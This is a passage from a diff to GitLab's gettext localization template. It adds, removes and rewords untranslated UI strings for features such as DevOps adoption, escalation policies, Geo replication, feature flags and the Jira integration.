-msgid "DevopsAdoption|At least 1 security scan of any type run in pipeline"
+msgid "DevopsAdoption|At least one security scan of any type run in pipeline"
+msgstr ""
+
+msgid "DevopsAdoption|Code owners"
+msgstr ""
+
+msgid "DevopsAdoption|Code owners enabled for at least one project"
msgstr ""
msgid "DevopsAdoption|Confirm remove Group"
@@ -11274,6 +11348,9 @@ msgstr ""
msgid "DevopsAdoption|Deploys"
msgstr ""
+msgid "DevopsAdoption|Dev"
+msgstr ""
+
msgid "DevopsAdoption|DevOps adoption tracks the use of key features across your favorite groups. Add a group to the table to begin."
msgstr ""
@@ -11301,6 +11378,9 @@ msgstr ""
msgid "DevopsAdoption|Not adopted"
msgstr ""
+msgid "DevopsAdoption|Ops"
+msgstr ""
+
msgid "DevopsAdoption|Pipelines"
msgstr ""
@@ -11322,6 +11402,9 @@ msgstr ""
msgid "DevopsAdoption|Scanning"
msgstr ""
+msgid "DevopsAdoption|Sec"
+msgstr ""
+
msgid "DevopsAdoption|There was an error enabling the current group. Please refresh the page."
msgstr ""
@@ -11334,21 +11417,33 @@ msgstr ""
msgid "DevopsAdoption|You cannot remove the group you are currently in."
msgstr ""
-msgid "DevopsReport|Adoption"
+msgid "DevopsReport|DevOps Score"
msgstr ""
-msgid "DevopsReport|DevOps"
+msgid "DevopsReport|DevOps score metrics are based on usage over the last 30 days. Last updated: %{timestamp}."
msgstr ""
-msgid "DevopsReport|DevOps Score"
+msgid "DevopsReport|High"
msgstr ""
-msgid "DevopsReport|DevOps score metrics are based on usage over the last 30 days. Last updated: %{timestamp}."
+msgid "DevopsReport|Leader usage"
+msgstr ""
+
+msgid "DevopsReport|Low"
+msgstr ""
+
+msgid "DevopsReport|Moderate"
msgstr ""
msgid "DevopsReport|Score"
msgstr ""
+msgid "DevopsReport|Your score"
+msgstr ""
+
+msgid "DevopsReport|Your usage"
+msgstr ""
+
msgid "Didn't receive a confirmation email?"
msgstr ""
@@ -11415,15 +11510,15 @@ msgstr ""
msgid "Disable public access to Pages sites"
msgstr ""
-msgid "Disable shared runners"
-msgstr ""
-
msgid "Disable two-factor authentication"
msgstr ""
msgid "Disabled"
msgstr ""
+msgid "Disabled by %{parent} owner"
+msgstr ""
+
msgid "Disabled mirrors can only be enabled by instance owners. It is recommended that you delete them."
msgstr ""
@@ -11451,6 +11546,9 @@ msgstr ""
msgid "DiscordService|Send notifications about project events to a Discord channel."
msgstr ""
+msgid "Discover"
+msgstr ""
+
msgid "Discover GitLab Geo"
msgstr ""
@@ -11678,7 +11776,7 @@ msgstr ""
msgid "Draft merge requests can't be merged."
msgstr ""
-msgid "Drop or %{linkStart}upload%{linkEnd} designs to attach"
+msgid "Drag your designs here or %{linkStart}click to upload%{linkEnd}."
msgstr ""
msgid "Drop or %{linkStart}upload%{linkEnd} file to attach"
@@ -11693,6 +11791,24 @@ msgstr ""
msgid "Drop your files to start your upload."
msgstr ""
+msgid "DropdownWidget|An error occurred while fetching the assigned %{issuableAttribute} of the selected %{issuableType}."
+msgstr ""
+
+msgid "DropdownWidget|Assign %{issuableAttribute}"
+msgstr ""
+
+msgid "DropdownWidget|Failed to fetch the %{issuableAttribute} for this %{issuableType}. Please try again."
+msgstr ""
+
+msgid "DropdownWidget|Failed to set %{issuableAttribute} on this %{issuableType}. Please try again."
+msgstr ""
+
+msgid "DropdownWidget|No %{issuableAttribute}"
+msgstr ""
+
+msgid "DropdownWidget|No %{issuableAttribute} found"
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -11702,9 +11818,6 @@ msgstr ""
msgid "Duration"
msgstr ""
-msgid "Duration for the last 30 commits"
-msgstr ""
-
msgid "During this process, you’ll be asked for URLs from GitLab’s side. Use the URLs shown below."
msgstr ""
@@ -11819,9 +11932,6 @@ msgstr ""
msgid "Edit sidebar"
msgstr ""
-msgid "Edit stage"
-msgstr ""
-
msgid "Edit this file only."
msgstr ""
@@ -11876,6 +11986,9 @@ msgstr ""
msgid "Elasticsearch reindexing triggered"
msgstr ""
+msgid "Elasticsearch reindexing was not started: %{errors}"
+msgstr ""
+
msgid "Elasticsearch returned status code: %{status_code}"
msgstr ""
@@ -12005,13 +12118,13 @@ msgstr ""
msgid "Embed"
msgstr ""
-msgid "Empty file"
+msgid "Embed an image of your existing Jaeger server in GitLab."
msgstr ""
-msgid "Enable"
+msgid "Empty file"
msgstr ""
-msgid "Enable %{linkStart}Gitpod%{linkEnd} integration to launch a development environment in your browser directly from GitLab."
+msgid "Enable"
msgstr ""
msgid "Enable Auto DevOps"
@@ -12089,6 +12202,9 @@ msgstr ""
msgid "Enable authenticated API request rate limit"
msgstr ""
+msgid "Enable authentication"
+msgstr ""
+
msgid "Enable automatic repository housekeeping (git repack, git gc)"
msgstr ""
@@ -12134,9 +12250,6 @@ msgstr ""
msgid "Enable or disable Seat Link."
msgstr ""
-msgid "Enable or disable keyboard shortcuts"
-msgstr ""
-
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
@@ -12158,9 +12271,6 @@ msgstr ""
msgid "Enable reCAPTCHA, Invisible Captcha, Akismet and set IP limits. For reCAPTCHA, we currently only support %{recaptcha_v2_link_start}v2%{recaptcha_v2_link_end}"
msgstr ""
-msgid "Enable shared runners"
-msgstr ""
-
msgid "Enable shared runners for all projects and subgroups in this group."
msgstr ""
@@ -12830,9 +12940,6 @@ msgstr ""
msgid "Error occurred when saving reviewers"
msgstr ""
-msgid "Error occurred when toggling the notification subscription"
-msgstr ""
-
msgid "Error occurred while updating the issue status"
msgstr ""
@@ -12845,12 +12952,18 @@ msgstr ""
msgid "Error occurred. A blocked user must be unblocked to be activated"
msgstr ""
+msgid "Error occurred. User was not banned"
+msgstr ""
+
msgid "Error occurred. User was not blocked"
msgstr ""
msgid "Error occurred. User was not confirmed"
msgstr ""
+msgid "Error occurred. User was not unbanned"
+msgstr ""
+
msgid "Error occurred. User was not unblocked"
msgstr ""
@@ -12959,6 +13072,54 @@ msgstr ""
msgid "Errors:"
msgstr ""
+msgid "Escalation Policies"
+msgstr ""
+
+msgid "Escalation policies"
+msgstr ""
+
+msgid "Escalation policies are not supported for this project"
+msgstr ""
+
+msgid "EscalationPolicies|+ Add an additional rule"
+msgstr ""
+
+msgid "EscalationPolicies|A schedule is required for adding an escalation policy."
+msgstr ""
+
+msgid "EscalationPolicies|Add an escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Add escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Create an escalation policy in GitLab"
+msgstr ""
+
+msgid "EscalationPolicies|Edit escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Email on-call user in schedule"
+msgstr ""
+
+msgid "EscalationPolicies|Escalation rules"
+msgstr ""
+
+msgid "EscalationPolicies|Failed to load oncall-schedules"
+msgstr ""
+
+msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} minutes"
+msgstr ""
+
+msgid "EscalationPolicies|Select schedule"
+msgstr ""
+
+msgid "EscalationPolicies|Set up escalation policies to define who is paged, and when, in the event the first users paged don't respond."
+msgstr ""
+
+msgid "EscalationPolicies|THEN %{doAction} %{schedule}"
+msgstr ""
+
msgid "Estimate"
msgstr ""
@@ -13020,7 +13181,9 @@ msgid "Every two weeks"
msgstr ""
msgid "Every week"
-msgstr ""
+msgid_plural "Every %d weeks"
+msgstr[0] ""
+msgstr[1] ""
msgid "Every week (%{weekday} at %{time})"
msgstr ""
@@ -13663,6 +13826,9 @@ msgstr ""
msgid "FeatureFlags|Feature Flag User List Details"
msgstr ""
+msgid "FeatureFlags|Feature Flag User Lists"
+msgstr ""
+
msgid "FeatureFlags|Feature Flag behavior is built up by creating a set of rules to define the status of target environments. A default wildcard rule %{codeStart}*%{codeEnd} for %{boldStart}All Environments%{boldEnd} is set, and you are able to add as many rules as you need by choosing environment specs below. You can toggle the behavior for each of your rules to set them %{boldStart}Active%{boldEnd} or %{boldStart}Inactive%{boldEnd}."
msgstr ""
@@ -13687,9 +13853,6 @@ msgstr ""
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
-msgid "FeatureFlags|Get started with user lists"
-msgstr ""
-
msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags. This feature flag is read-only, and it will be removed in 14.0. Please create a new feature flag."
msgstr ""
@@ -13717,9 +13880,6 @@ msgstr ""
msgid "FeatureFlags|Loading feature flags"
msgstr ""
-msgid "FeatureFlags|Loading user lists"
-msgstr ""
-
msgid "FeatureFlags|More information"
msgstr ""
@@ -13738,9 +13898,6 @@ msgstr ""
msgid "FeatureFlags|New feature flag"
msgstr ""
-msgid "FeatureFlags|New user list"
-msgstr ""
-
msgid "FeatureFlags|No user list selected"
msgstr ""
@@ -13783,9 +13940,6 @@ msgstr ""
msgid "FeatureFlags|There was an error fetching the feature flags."
msgstr ""
-msgid "FeatureFlags|There was an error fetching the user lists."
-msgstr ""
-
msgid "FeatureFlags|To prevent accidental actions we ask you to confirm your intention. Please type %{projectName} to proceed or close this modal to cancel."
msgstr ""
@@ -13801,7 +13955,7 @@ msgstr ""
msgid "FeatureFlags|User Lists"
msgstr ""
-msgid "FeatureFlags|User lists allow you to define a set of users to use with Feature Flags."
+msgid "FeatureFlags|View user lists"
msgstr ""
msgid "FeatureFlag|Percentage"
@@ -14052,6 +14206,15 @@ msgstr ""
msgid "Flags"
msgstr ""
+msgid "FloC|Configure whether you want to participate in FloC."
+msgstr ""
+
+msgid "FloC|Enable FloC (Federated Learning of Cohorts)"
+msgstr ""
+
+msgid "FloC|Federated Learning of Cohorts"
+msgstr ""
+
msgid "FlowdockService|1b609b52537..."
msgstr ""
@@ -14157,6 +14320,9 @@ msgstr ""
msgid "ForkProject|A fork is a copy of a project."
msgstr ""
+msgid "ForkProject|An error occurred while forking the project. Please try again."
+msgstr ""
+
msgid "ForkProject|Cancel"
msgstr ""
@@ -14175,6 +14341,9 @@ msgstr ""
msgid "ForkProject|Please select a namespace"
msgstr ""
+msgid "ForkProject|Please select a visibility level"
+msgstr ""
+
msgid "ForkProject|Private"
msgstr ""
@@ -14202,6 +14371,15 @@ msgstr ""
msgid "ForkProject|Want to house several dependent projects under the same namespace?"
msgstr ""
+msgid "ForkSuggestion|Cancel"
+msgstr ""
+
+msgid "ForkSuggestion|Fork"
+msgstr ""
+
+msgid "ForkSuggestion|You can’t %{edit_start}edit%{edit_end} files directly in this project. Fork this project and submit a merge request with your changes."
+msgstr ""
+
msgid "ForkedFromProjectPath|Forked from"
msgstr ""
@@ -14469,6 +14647,9 @@ msgstr ""
msgid "Geo|%{component} synced"
msgstr ""
+msgid "Geo|%{component} verified"
+msgstr ""
+
msgid "Geo|%{itemTitle} checksum progress"
msgstr ""
@@ -14496,6 +14677,9 @@ msgstr ""
msgid "Geo|%{title} checksum progress"
msgstr ""
+msgid "Geo|(%{timeAgo})"
+msgstr ""
+
msgid "Geo|Add site"
msgstr ""
@@ -14523,6 +14707,9 @@ msgstr ""
msgid "Geo|Allowed Geo IP should contain valid IP addresses"
msgstr ""
+msgid "Geo|Checksummed"
+msgstr ""
+
msgid "Geo|Connection timeout can't be blank"
msgstr ""
@@ -14547,6 +14734,9 @@ msgstr ""
msgid "Geo|Data type"
msgstr ""
+msgid "Geo|Disabled"
+msgstr ""
+
msgid "Geo|Discover GitLab Geo"
msgstr ""
@@ -14574,6 +14764,9 @@ msgstr ""
msgid "Geo|Go to the primary site"
msgstr ""
+msgid "Geo|Healthy"
+msgstr ""
+
msgid "Geo|If you want to make changes, you must visit the primary site."
msgstr ""
@@ -14619,6 +14812,9 @@ msgstr ""
msgid "Geo|Next sync scheduled at"
msgstr ""
+msgid "Geo|No available replication slots"
+msgstr ""
+
msgid "Geo|Node name can't be blank"
msgstr ""
@@ -14631,10 +14827,16 @@ msgstr ""
msgid "Geo|Not synced yet"
msgstr ""
+msgid "Geo|Nothing to checksum"
+msgstr ""
+
msgid "Geo|Nothing to synchronize"
msgstr ""
-msgid "Geo|Number of %{title}"
+msgid "Geo|Nothing to verify"
+msgstr ""
+
+msgid "Geo|Offline"
msgstr ""
msgid "Geo|Pending synchronization"
@@ -14799,6 +15001,12 @@ msgstr ""
msgid "Geo|Undefined"
msgstr ""
+msgid "Geo|Unhealthy"
+msgstr ""
+
+msgid "Geo|Unknown"
+msgstr ""
+
msgid "Geo|Unknown state"
msgstr ""
@@ -14811,10 +15019,13 @@ msgstr ""
msgid "Geo|Verification failed - %{error}"
msgstr ""
+msgid "Geo|Verification information"
+msgstr ""
+
msgid "Geo|Verification status"
msgstr ""
-msgid "Geo|Verificaton information"
+msgid "Geo|Verified"
msgstr ""
msgid "Geo|Waiting for scheduler"
@@ -15060,9 +15271,6 @@ msgstr ""
msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings &gt; General &gt; Visibility%{strong_end} page."
msgstr ""
-msgid "GitLabPages|It may take up to 30 minutes before the site is available after the first deployment."
-msgstr ""
-
msgid "GitLabPages|Maximum size of pages (MB)"
msgstr ""
@@ -15159,16 +15367,19 @@ msgstr ""
msgid "Gitpod"
msgstr ""
-msgid "Gitpod|Add the URL to your Gitpod instance configured to read your GitLab projects."
-msgstr ""
-
msgid "Gitpod|Enable Gitpod integration"
msgstr ""
msgid "Gitpod|Gitpod URL"
msgstr ""
-msgid "Gitpod|e.g. https://gitpod.example.com"
+msgid "Gitpod|The URL to your Gitpod instance configured to read your GitLab projects, such as https://gitpod.example.com."
+msgstr ""
+
+msgid "Gitpod|To use the integration, each user must also enable Gitpod on their GitLab account. %{link_start}How do I enable it?%{link_end} "
+msgstr ""
+
+msgid "Gitpod|https://gitpod.example.com"
msgstr ""
msgid "Given access %{time_ago}"
@@ -15201,9 +15412,6 @@ msgstr ""
msgid "Go full screen"
msgstr ""
-msgid "Go to Webhooks"
-msgstr ""
-
msgid "Go to commits"
msgstr ""
@@ -15258,6 +15466,9 @@ msgstr ""
msgid "Go to previous page"
msgstr ""
+msgid "Go to primary node"
+msgstr ""
+
msgid "Go to project"
msgstr ""
@@ -15336,7 +15547,7 @@ msgstr ""
msgid "GrafanaIntegration|Active"
msgstr ""
-msgid "GrafanaIntegration|Enter the Grafana API token."
+msgid "GrafanaIntegration|Enter the %{docLinkStart}Grafana API token%{docLinkEnd}."
msgstr ""
msgid "GrafanaIntegration|Enter the base URL of the Grafana instance."
@@ -15450,6 +15661,9 @@ msgstr ""
msgid "Group info:"
msgstr ""
+msgid "Group information"
+msgstr ""
+
msgid "Group is required when cluster_type is :group"
msgstr ""
@@ -15510,6 +15724,9 @@ msgstr ""
msgid "Group runners can be managed with the %{link}."
msgstr ""
+msgid "Group sharing provides access to all group members (including members who inherited group membership from a parent group)."
+msgstr ""
+
msgid "Group variables (inherited)"
msgstr ""
@@ -15531,13 +15748,16 @@ msgstr ""
msgid "GroupActivityMetrics|Issues opened"
msgstr ""
+msgid "GroupActivityMetrics|Last 90 days"
+msgstr ""
+
msgid "GroupActivityMetrics|Members added"
msgstr ""
msgid "GroupActivityMetrics|Merge Requests opened"
msgstr ""
-msgid "GroupActivityMetrics|Recent activity (last 90 days)"
+msgid "GroupActivityMetrics|Recent activity"
msgstr ""
msgid "GroupImport|Failed to import group."
@@ -15600,6 +15820,9 @@ msgstr ""
msgid "GroupRoadmap|To widen your search, change or remove filters; from %{startDate} to %{endDate}."
msgstr ""
+msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enabling %{linkStart}SSO enforcement%{linkEnd} can reduce security risks."
+msgstr ""
+
msgid "GroupSAML|Active SAML Group Links (%{count})"
msgstr ""
@@ -15918,9 +16141,6 @@ msgstr ""
msgid "Groups and subgroups"
msgstr ""
-msgid "Groups can also be nested by creating %{subgroup_docs_link_start}subgroups%{subgroup_docs_link_end}."
-msgstr ""
-
msgid "Groups to synchronize"
msgstr ""
@@ -15957,22 +16177,31 @@ msgstr ""
msgid "GroupsEmptyState|You can manage your group member’s permissions and access to each project in the group."
msgstr ""
+msgid "GroupsNew|%{linkStart}Groups%{linkEnd} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects. Groups can also be nested by creating subgroups."
+msgstr ""
+
+msgid "GroupsNew|Assemble related projects together and grant members access to several projects at once."
+msgstr ""
+
msgid "GroupsNew|Connect instance"
msgstr ""
msgid "GroupsNew|Contact an administrator to enable options for importing your group."
msgstr ""
-msgid "GroupsNew|Create"
+msgid "GroupsNew|Create group"
+msgstr ""
+
+msgid "GroupsNew|Create new group"
msgstr ""
-msgid "GroupsNew|Create group"
+msgid "GroupsNew|Export groups with all their related data and move to a new GitLab instance."
msgstr ""
msgid "GroupsNew|GitLab source URL"
msgstr ""
-msgid "GroupsNew|Import"
+msgid "GroupsNew|Groups can also be nested by creating %{linkStart}subgroups%{linkEnd}."
msgstr ""
msgid "GroupsNew|Import group"
@@ -16044,7 +16273,7 @@ msgstr ""
msgid "HAR (HTTP Archive)"
msgstr ""
-msgid "HAR file path"
+msgid "HAR file path or URL"
msgstr ""
msgid "HTTP Basic: Access denied\\nYou must use a personal access token with 'api' scope for Git over HTTP.\\nYou can generate one at %{profile_personal_access_tokens_url}"
@@ -16059,6 +16288,9 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
+msgid "Header cannot be associated with both a request and a response"
+msgstr ""
+
msgid "Header logo"
msgstr ""
@@ -16071,6 +16303,18 @@ msgstr ""
msgid "Header message"
msgstr ""
+msgid "Header must be associated with a request or response"
+msgstr ""
+
+msgid "Heading 1"
+msgstr ""
+
+msgid "Heading 2"
+msgstr ""
+
+msgid "Heading 3"
+msgstr ""
+
msgid "Headings"
msgstr ""
@@ -16187,9 +16431,6 @@ msgstr ""
msgid "Hide shared projects"
msgstr ""
-msgid "Hide stage"
-msgstr ""
-
msgid "Hide value"
msgid_plural "Hide values"
msgstr[0] ""
@@ -16219,9 +16460,6 @@ msgstr ""
msgid "HighlightBar|Time to SLA:"
msgstr ""
-msgid "HipChat endpoint is deprecated and should not be created or modified."
-msgstr ""
-
msgid "History"
msgstr ""
@@ -16306,9 +16544,24 @@ msgstr ""
msgid "I have read and agree to the Let's Encrypt %{link_start}Terms of Service%{link_end} (PDF)"
msgstr ""
+msgid "I want to explore GitLab to see if it’s worth switching to"
+msgstr ""
+
+msgid "I want to learn the basics of Git"
+msgstr ""
+
+msgid "I want to move my repository to GitLab from somewhere else"
+msgstr ""
+
+msgid "I want to use GitLab CI with my existing repository"
+msgstr ""
+
msgid "I'd like to receive updates about GitLab via email"
msgstr ""
+msgid "I'm signing up for GitLab because:"
+msgstr ""
+
msgid "ID"
msgstr ""
@@ -16318,9 +16571,6 @@ msgstr ""
msgid "IDE"
msgstr ""
-msgid "IDE|Allow live previews of JavaScript projects in the Web IDE using CodeSandbox Live Preview."
-msgstr ""
-
msgid "IDE|Back"
msgstr ""
@@ -16474,6 +16724,9 @@ msgstr ""
msgid "If you want to re-enable two-factor authentication, visit the %{settings_link_to} page."
msgstr ""
+msgid "If you've purchased or renewed your subscription and have an activation code, please enter it below to start the activation process."
+msgstr ""
+
msgid "If your HTTP repository is not publicly accessible, add your credentials."
msgstr ""
@@ -16720,6 +16973,9 @@ msgstr ""
msgid "InProductMarketing|%{strong_start}Multiple approval roles%{strong_end} — including code owners and required merge approvals"
msgstr ""
+msgid "InProductMarketing|%{strong_start}Overall, how difficult or easy was it to get started with GitLab?%{strong_end}"
+msgstr ""
+
msgid "InProductMarketing|*GitLab*, noun: a synonym for efficient teams"
msgstr ""
@@ -16753,6 +17009,9 @@ msgstr ""
msgid "InProductMarketing|By enabling code owners and required merge approvals the right person will review the right MR. This is a win-win: cleaner code and a more efficient review process."
msgstr ""
+msgid "InProductMarketing|Click on the number below that corresponds with your answer — 1 being very difficult, 5 being very easy."
+msgstr ""
+
msgid "InProductMarketing|Code owners and required merge approvals are part of the paid tiers of GitLab. You can start a free 30-day trial of GitLab Ultimate and enable these features in less than 5 minutes with no credit card required."
msgstr ""
@@ -16765,9 +17024,18 @@ msgstr ""
msgid "InProductMarketing|Did you know teams that use GitLab are far more efficient?"
msgstr ""
+msgid "InProductMarketing|Difficult"
+msgstr ""
+
msgid "InProductMarketing|Dig in and create a project and a repo"
msgstr ""
+msgid "InProductMarketing|Do you have a minute?"
+msgstr ""
+
+msgid "InProductMarketing|Easy"
+msgstr ""
+
msgid "InProductMarketing|Explore GitLab CI/CD"
msgstr ""
@@ -16780,6 +17048,9 @@ msgstr ""
msgid "InProductMarketing|Facebook"
msgstr ""
+msgid "InProductMarketing|Feedback from users like you really improves our product. Thanks for your help!"
+msgstr ""
+
msgid "InProductMarketing|Feel the need for speed?"
msgstr ""
@@ -16906,6 +17177,9 @@ msgstr ""
msgid "InProductMarketing|Need an alternative to importing?"
msgstr ""
+msgid "InProductMarketing|Neutral"
+msgstr ""
+
msgid "InProductMarketing|Our tool brings all the things together"
msgstr ""
@@ -16945,6 +17219,9 @@ msgstr ""
msgid "InProductMarketing|Streamline code review, know at a glance who's unavailable, communicate in comments or in email and integrate with Slack so everyone's on the same page."
msgstr ""
+msgid "InProductMarketing|Take this 1-question survey!"
+msgstr ""
+
msgid "InProductMarketing|Take your first steps with GitLab"
msgstr ""
@@ -16960,10 +17237,10 @@ msgstr ""
msgid "InProductMarketing|That's all it takes to get going with GitLab, but if you're new to working with Git, check out our %{basics_link} for helpful tips and tricks for getting started."
msgstr ""
-msgid "InProductMarketing|This is email %{series} of 3 in the %{track} series."
+msgid "InProductMarketing|This is email %{current_series} of %{total_series} in the %{track} series."
msgstr ""
-msgid "InProductMarketing|This is email %{series} of 3 in the %{track} series. To disable notification emails sent by your local GitLab instance, either contact your administrator or %{unsubscribe_link}."
+msgid "InProductMarketing|This is email %{current_series} of %{total_series} in the %{track} series. To disable notification emails sent by your local GitLab instance, either contact your administrator or %{unsubscribe_link}."
msgstr ""
msgid "InProductMarketing|Ticketmaster decreased their CI build time by 15X"
@@ -16999,9 +17276,18 @@ msgstr ""
msgid "InProductMarketing|Use GitLab CI/CD"
msgstr ""
+msgid "InProductMarketing|Very difficult"
+msgstr ""
+
+msgid "InProductMarketing|Very easy"
+msgstr ""
+
msgid "InProductMarketing|We know a thing or two about efficiency and we don't want to keep that to ourselves. Sign up for a free trial of GitLab Ultimate and your teams will be on it from day one."
msgstr ""
+msgid "InProductMarketing|We want your GitLab experience to be great"
+msgstr ""
+
msgid "InProductMarketing|What does our value stream timeline look like from product to development to review and production?"
msgstr ""
@@ -17077,6 +17363,9 @@ msgstr ""
msgid "IncidentManagement|%{minutes} minutes remaining"
msgstr ""
+msgid "IncidentManagement|Achieved SLA"
+msgstr ""
+
msgid "IncidentManagement|All"
msgstr ""
@@ -17116,6 +17405,9 @@ msgstr ""
msgid "IncidentManagement|Medium - S3"
msgstr ""
+msgid "IncidentManagement|Missed SLA"
+msgstr ""
+
msgid "IncidentManagement|No incidents to display."
msgstr ""
@@ -17155,6 +17447,9 @@ msgstr ""
msgid "IncidentSettings|Alert integration"
msgstr ""
+msgid "IncidentSettings|Fine-tune incident settings and set up integrations with external tools to help better manage incidents."
+msgstr ""
+
msgid "IncidentSettings|Grafana integration"
msgstr ""
@@ -17170,9 +17465,6 @@ msgstr ""
msgid "IncidentSettings|PagerDuty integration"
msgstr ""
-msgid "IncidentSettings|Set up integrations with external tools to help better manage incidents."
-msgstr ""
-
msgid "IncidentSettings|Time limit"
msgstr ""
@@ -17302,7 +17594,7 @@ msgstr ""
msgid "Inform users without uploaded SSH keys that they can't push over SSH until one is added"
msgstr ""
-msgid "Information about additional Pages templates and how to install them can be found in our %{pages_getting_started_guide}."
+msgid "Infrastructure"
msgstr ""
msgid "Infrastructure Registry"
@@ -17499,10 +17791,10 @@ msgstr ""
msgid "Integrations|Failed to unlink namespace. Please try again."
msgstr ""
-msgid "Integrations|Includes Standard plus entire commit message, commit hash, and issue IDs"
+msgid "Integrations|Includes Standard, plus the entire commit message, commit hash, and issue IDs"
msgstr ""
-msgid "Integrations|Includes commit title and branch"
+msgid "Integrations|Includes commit title and branch."
msgstr ""
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
@@ -17580,7 +17872,7 @@ msgstr ""
msgid "Integrations|Use default settings"
msgstr ""
-msgid "Integrations|When a Jira issue is mentioned in a commit or merge request a remote link and comment (if enabled) is created."
+msgid "Integrations|When you mention a Jira issue in a commit or merge request, GitLab creates a remote link and comment (if enabled)."
msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
@@ -17766,7 +18058,7 @@ msgstr ""
msgid "InviteEmail|As a guest, you can view projects, leave comments, and create issues."
msgstr ""
-msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to master and deploy to production."
+msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to the default branch and deploy to production."
msgstr ""
msgid "InviteEmail|As a reporter, you can view projects and reports, and leave comments on issues."
@@ -18000,6 +18292,9 @@ msgstr ""
msgid "Issue Boards"
msgstr ""
+msgid "Issue Type"
+msgstr ""
+
msgid "Issue already promoted to epic."
msgstr ""
@@ -18069,12 +18364,6 @@ msgstr ""
msgid "IssueAnalytics|Weight"
msgstr ""
-msgid "IssueBoards|An error occurred while assigning the selected epic to the issue."
-msgstr ""
-
-msgid "IssueBoards|An error occurred while fetching the assigned epic of the selected issue."
-msgstr ""
-
msgid "IssueBoards|An error occurred while setting notifications status. Please try again."
msgstr ""
@@ -18102,6 +18391,27 @@ msgstr ""
msgid "IssueTracker|Custom issue tracker"
msgstr ""
+msgid "IssueTracker|Issue URL"
+msgstr ""
+
+msgid "IssueTracker|New issue URL"
+msgstr ""
+
+msgid "IssueTracker|The URL to create an issue in the external issue tracker."
+msgstr ""
+
+msgid "IssueTracker|The URL to the project in YouTrack."
+msgstr ""
+
+msgid "IssueTracker|The URL to the project in the external issue tracker."
+msgstr ""
+
+msgid "IssueTracker|The URL to view an issue in the YouTrack project. Must contain %{colon_id}."
+msgstr ""
+
+msgid "IssueTracker|The URL to view an issue in the external issue tracker. Must contain %{colon_id}."
+msgstr ""
+
msgid "IssueTracker|Use Bugzilla as this project's issue tracker."
msgstr ""
@@ -18147,6 +18457,9 @@ msgstr ""
msgid "Issues closed"
msgstr ""
+msgid "Issues manual ordering is temporarily disabled for technical reasons."
+msgstr ""
+
msgid "Issues must match this scope to appear in this list."
msgstr ""
@@ -18249,6 +18562,9 @@ msgstr ""
msgid "Iterations|Duration"
msgstr ""
+msgid "Iterations|Error loading iteration cadences."
+msgstr ""
+
msgid "Iterations|Future iterations"
msgstr ""
@@ -18258,6 +18574,12 @@ msgstr ""
msgid "Iterations|New iteration cadence"
msgstr ""
+msgid "Iterations|No iteration cadences to show."
+msgstr ""
+
+msgid "Iterations|No iterations in cadence."
+msgstr ""
+
msgid "Iterations|Number of future iterations you would like to have scheduled"
msgstr ""
@@ -18291,13 +18613,13 @@ msgstr ""
msgid "I’m familiar with the basics of DevOps."
msgstr ""
-msgid "I’m not familiar with the basics of DevOps."
+msgid "I’m joining my team who’s already on GitLab"
msgstr ""
-msgid "Jaeger URL"
+msgid "I’m not familiar with the basics of DevOps."
msgstr ""
-msgid "Jaeger tracing"
+msgid "Jaeger URL"
msgstr ""
msgid "Jan"
@@ -18321,7 +18643,7 @@ msgstr ""
msgid "Jira integration not configured."
msgstr ""
-msgid "Jira project key is not configured"
+msgid "Jira project key is not configured."
msgstr ""
msgid "Jira project: %{importProject}"
@@ -18396,6 +18718,9 @@ msgstr ""
msgid "JiraService|GitLab for Jira Configuration"
msgstr ""
+msgid "JiraService|IDs must be a list of numbers that can be split with , or ;"
+msgstr ""
+
msgid "JiraService|If different from Web URL."
msgstr ""
@@ -18411,10 +18736,10 @@ msgstr ""
msgid "JiraService|Jira Issues"
msgstr ""
-msgid "JiraService|Jira comments will be created when an issue gets referenced in a commit."
+msgid "JiraService|Jira comments are created when an issue is referenced in a commit."
msgstr ""
-msgid "JiraService|Jira comments will be created when an issue gets referenced in a merge request."
+msgid "JiraService|Jira comments are created when an issue is referenced in a merge request."
msgstr ""
msgid "JiraService|Jira issue type"
@@ -18501,7 +18826,7 @@ msgstr ""
msgid "JiraService|Work on Jira issues without leaving GitLab. Adds a Jira menu to access your list of Jira issues and view any issue as read-only."
msgstr ""
-msgid "JiraService|transition ids can have only numbers which can be split with , or ;"
+msgid "JiraService|You need to configure Jira before enabling this integration. For more details, read the %{jira_doc_link_start}Jira integration documentation%{link_end}."
msgstr ""
msgid "Job"
@@ -18549,6 +18874,18 @@ msgstr ""
msgid "Job was retried"
msgstr ""
+msgid "JobName|build-job"
+msgstr ""
+
+msgid "JobName|deploy-app"
+msgstr ""
+
+msgid "JobName|lint-test"
+msgstr ""
+
+msgid "JobName|unit-test"
+msgstr ""
+
msgid "Jobs"
msgstr ""
@@ -18564,6 +18901,9 @@ msgstr ""
msgid "Jobs|Create CI/CD configuration file"
msgstr ""
+msgid "Jobs|Job is stuck. Check runners."
+msgstr ""
+
msgid "Jobs|Jobs are the building blocks of a GitLab CI/CD pipeline. Each job has a specific task, like testing code. To set up jobs in a CI/CD pipeline, add a CI/CD configuration file to your project."
msgstr ""
@@ -18657,6 +18997,9 @@ msgstr ""
msgid "Join Zoom meeting"
msgstr ""
+msgid "Join your team"
+msgstr ""
+
msgid "Joined %{time_ago}"
msgstr ""
@@ -18690,6 +19033,9 @@ msgstr ""
msgid "KEY"
msgstr ""
+msgid "Keep"
+msgstr ""
+
msgid "Keep artifacts from most recent successful jobs"
msgstr ""
@@ -18717,9 +19063,30 @@ msgstr ""
msgid "Keyboard shortcuts"
msgstr ""
+msgid "KeyboardKey|Alt"
+msgstr ""
+
+msgid "KeyboardKey|Ctrl"
+msgstr ""
+
msgid "KeyboardKey|Ctrl+"
msgstr ""
+msgid "KeyboardKey|Enter"
+msgstr ""
+
